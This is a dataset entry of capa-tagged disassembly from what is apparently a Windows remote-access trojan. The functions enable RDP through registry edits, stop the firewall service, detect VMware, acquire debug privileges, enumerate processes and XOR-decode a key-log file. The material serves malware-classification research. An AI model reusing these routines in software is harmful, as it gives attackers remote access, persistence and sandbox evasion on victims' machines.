joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406df0
Capabilities:
Check os version
Hide shutdown actions via policy

Disassembly:
sub esp, 0x94
push edi
push 0x4289a0
push str.Enabled
push str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache
push 0x80000002
call fcn.00406d30
push 1
push str.EnableAdminTSRemote
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push 0x80000002
call fcn.00406d90
push 0x4289a0
push str.ShutdownWithoutLogon
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call fcn.00406d30
push 1
push str.TSEnabled
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call fcn.00406d90
add esp, 0x40
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermDD
push 0x80000002
call fcn.00406d90
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push 0x80000002
call fcn.00406d90
push 1
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call fcn.00406d90
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push 0x80000002
call fcn.00406d90
add esp, 0x40
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push 0x80000002
call fcn.00406d90
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push 0x80000002
call fcn.00406d90
push 0x4289c0
push str.Hotkey
push str..DEFAULTKeyboard_LayoutToggle
push 0x80000003
call fcn.00406d30
push 0
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call fcn.00406d90
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], 0x94
add esp, 0x40
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 5
jne 0x406f74
mov eax, dword [esp + 8]
test eax, eax
jne 0x406f74
push 1
push str.SeShutdownPrivilege
call fcn.004105f0
add esp, 8
push 0
push 2
call dword [0x42e1f0]
push 0
push str.SeShutdownPrivilege
call fcn.004105f0
add esp, 8
add esp, 0x94
ret

Function at 0x406f80
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x104
mov ecx, 0x41
xor eax, eax
lea edx, [esp]
push esi
push edi
lea edi, [esp + 8]
push 0
rep stosd dword es:[edi], eax
mov edi, str.sseccaderahs_pots_ten
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
call fcn.00421ea0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
add esp, 0x104
ret
Function at 0x4076a0
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423288
push 0x418f08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
pushal
pushfd
xor ebx, ebx
mov ecx, 0xa
mov eax, 0x564d5868
mov dx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete al
movzx eax, al
mov dword [0x42e650], eax
popfd
popal
jmp 0x407708
mov dword [ebp - 4], 0xffffffff
mov eax, dword [0x42e650]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407ce0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x42e658
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x42ec80]
push 0x42e658
inc ecx
mov dword [0x42ec80], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00407bb0
add esp, 8
cmp eax, esi
je 0x407e88
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x407dcf
cmp eax, 2
je 0x407dcf
cmp eax, 3
je 0x407dcf
cmp eax, 4
jne 0x407e48
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.00407b20
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.004083b0
add esp, 0x1c
test eax, eax
je 0x407e88
mov edi, str.n_r_n_rKO_002_0.1_PTTH
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.n_r_n_rKO_002_0.1_PTTH
call fcn.00421ea0
mov edx, dword [ebx]
add esp, 4
push eax
push edx
call dword [0x42e2ec]
jmp 0x407e48
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.00407c50
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x407e88
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.00407b20
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.004083b0
add esp, 0x1c
test eax, eax
je 0x407e88
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [0x42e2ec]
cmp eax, 0xffffffff
je 0x407e88
cmp dword [ebx], 0
je 0x407e88
mov eax, dword [ebx + 4]
test eax, eax
je 0x407e88
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x408cf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x407e78
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x4088f0
Capabilities:
Create thread

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [0x42e31c]
test eax, eax
jne 0x4089de
push 6
push 1
push 2
call dword [0x42e300]
mov edi, eax
cmp edi, 0xffffffff
je 0x4089de
mov dx, word [0x42e64c]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [0x42e308]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [0x42e2c4]
cmp eax, 0xffffffff
je 0x4089de
push ebx
push ebp
push esi
push 0x32
push edi
call dword [0x42e2d0]
cmp eax, 0xffffffff
jne 0x40898c
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [0x42e2cc]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call fcn.00418cdc
add esp, 4
test eax, eax
je 0x408998
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x4085f0
push 0
push 0
call ebp
test eax, eax
jne 0x4089d5
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408998
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408998
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x409ba0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov edi, eax
call fcn.0041826e
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x409c41
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x409c41
mov ebp, dword [esp + 0x14]
lea ebx, [esi + 0x24]
push ebp
call fcn.00421ed0
add esp, 4
push eax
push ebx
call fcn.00421ed0
add esp, 4
push eax
call fcn.00418ae0
add esp, 8
test eax, eax
jbe 0x409c0b
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x409c41
push ebp
call fcn.00421ed0
add esp, 4
push eax
push ebx
call fcn.00421ed0
add esp, 4
push eax
call fcn.00418ae0
add esp, 8
test eax, eax
ja 0x409c01
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x409c16
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x409cb0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x4232a8
test eax, eax
jbe 0x409cf4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x409cd4
pop esi
pop ebp
mov ecx, ebx
call fcn.0040a610
pop edi
pop ebx
ret
Function at 0x40a4a0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str.keyboar.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40a542
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.0041826e
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x40a52d
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40a51f
push edi
push esi
mov ecx, ebp
call fcn.0040a440
push esi
mov edi, eax
call fcn.0041827c
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x40cd00
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x40ceb3
cmp dword [esi + 0x1c], edi
je 0x40ceb3
call fcn.0040d2c0
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.0040d100
lea eax, [esp + 0x10]
push eax
call dword [0x42e188]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.0040d100
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [0x42e18c]
test eax, eax
je 0x40cd96
cmp dword [esp + 0x1c], 1
jne 0x40cd96
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x40cd83
inc edi
add eax, 4
cmp edi, 0x10
jl 0x40cd76
push ecx
call dword [0x42e1e0]
cmp edi, 0x10
jne 0x40cd92
or edi, 0xffffffff
mov eax, edi
jmp 0x40cd99
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.0040d100
cmp byte [ebx], 2
jne 0x40ce01
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.0040d300
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.0040d360
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov ecx, dword [esp + 0x14]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x42f19c]
cmp ecx, eax
mov edi, edx
je 0x40ce2e
push edi
mov ecx, esi
call fcn.0040cec0
test al, al
je 0x40ce2e
add edi, 0x13
jmp 0x40ce31
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x40ce4f
push edi
mov ecx, esi
call fcn.0040cec0
test al, al
je 0x40ce45
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x40ce36
mov eax, dword [esp + 0x14]
mov ecx, 0x13
mov dword [0x42f19c], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x40ce9c
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x40ce8b
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4
Function at 0x40d410
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x422628
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.0040a5c0
push str.CServicesManager::CServicesManager
mov dword [esp + 0x14], 0
mov dword [esi], 0x4232fc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, esi
call fcn.0040d4d0
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x40de50
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x28]
push 0
push eax
mov dword [esi], 0x423314
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x40dea3
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40dead
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40deb7
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40dec1
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
call fcn.0040a610
pop edi
pop esi
ret

Function at 0x40e1c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
nop
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
mov dword [ebp - 4], 0
call fcn.0040e060
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40e208
push ebx
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x40e1e3
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40ea80
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub esp, 0x284
push ebx
push ebp
push esi
lea eax, [esp + 0x44]
push edi
push eax
mov byte [esp + 0x48], 0x66
mov byte [esp + 0x118], 0
mov dword [esp + 0x4c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebx, dword [esp + 0x298]
lea ecx, [esp + 0x194]
push 0x100
push ecx
push ebx
call fcn.0040e800
mov ebp, dword [esp + 0x2a8]
xor edx, edx
mov dword [esp + 0x20], edx
add esp, 0xc
mov dword [esp + 0x18], edx
lea eax, [esp + 0x10]
mov dword [esp + 0x1c], edx
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0xa8]
push eax
push ecx
push edx
mov dword [esp + 0x1c], 0x10
call dword [0x42e2c0]
mov eax, dword [esp + 0x18]
mov ecx, 8
lea esi, [esp + 0x194]
lea edi, [esp + 0xf4]
mov dword [esp + 0xf0], eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040e520
lea ecx, [esp + 0x170]
mov dword [esp + 0xe4], eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp + 0x184]
mov dword [esp + 0xe8], edx
call fcn.0040e580
mov byte [esp + 0x114], al
mov eax, dword [esp + 0x2a0]
lea ecx, [esp + 0x24]
mov dword [esp + 0x118], eax
push ecx
mov dword [esp + 0x28], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x2c]
shr edx, 0x14
mov dword [esp + 0x11c], edx
call fcn.0040e730
mov dword [esp + 0xec], eax
mov eax, dword [0x42f194]
push str.VVVVVV
push eax
call fcn.00405570
add eax, 6
push eax
call fcn.0040e1c0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.JJJJJJ
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x42f194]
push ecx
call fcn.00405570
add esp, 0x14
test eax, eax
je 0x40ec37
mov edx, dword [0x42f194]
push str.JJJJJJ
push edx
call fcn.00405570
add eax, 6
push eax
call fcn.0040e1c0
mov esi, eax
mov eax, dword [0x42f194]
push str.NNNNNN
push eax
call fcn.00405570
add eax, 6
push eax
call fcn.0040e1c0
push esi
mov edi, eax
call fcn.00410cb0
add esp, 0x1c
lea edx, [esp + 0x150]
test eax, eax
jne 0x40ec43
mov edi, 0x4295d4
jmp 0x40ec43
lea edx, [esp + 0x150]
mov edi, 0x4295d0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x20
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x134]
push ecx
push ebx
call fcn.0040e970
add esp, 0xc
lea edx, [esp + 0x44]
mov ecx, ebp
push 0x12c
push edx
call fcn.00402580
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x284
ret
Function at 0x40ef00
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp]
push ecx
push 0x28
push eax
call dword [0x42e090]
test eax, eax
je 0x40ef64
lea edx, [esp + 8]
push edx
push str.SeDebugPrivilege
push 0
call dword [0x42e094]
test eax, eax
je 0x40ef59
mov ecx, dword [esp]
push 0
push 0
lea eax, [esp + 0xc]
push 0
push eax
push 0
push ecx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [0x42e030]
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x14
ret

Function at 0x40f080
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423370
push 0x418f08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f120
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x240
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x14d]
mov byte [esp + 0x14c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x28]
mov dword [esp + 0x24], 0
push eax
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x20], esi
je 0x40f286
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40f27f
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov bl, 0x65
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x2c], eax
jne 0x40f25b
mov ecx, dword [esp + 0x3c]
push ecx
push 0
push 0x1f0fff
call ebp
mov esi, eax
test esi, esi
je 0x40f286
lea edx, [esp + 0x14c]
push 0x104
push edx
push 0
push esi
call fcn.00421e4b
test eax, eax
je 0x40f286
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], 0x78
mov byte [esp + 0x12], 0x70
mov byte [esp + 0x13], 0x6c
mov byte [esp + 0x14], 0x6f
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x72
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x78
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x14c]
sub edx, ecx
lea edi, [esp + 0x14c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
add edx, ecx
push edx
push eax
call fcn.004212e0
add esp, 8
test eax, eax
je 0x40f26f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x20]
lea ecx, [esp + 0x24]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40f27f
jmp 0x40f194
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x240
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x240
ret
Function at 0x4101c0
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.004105f0
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x410224
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov ebx, 1
push ebx
mov byte [ebp], 0x81
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41037a
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x410367
cmp eax, 4
je 0x410367
cmp eax, 8
je 0x410367
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call fcn.00421e5d
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call fcn.00421e4b
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x4102f2
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x410260
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.004105f0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret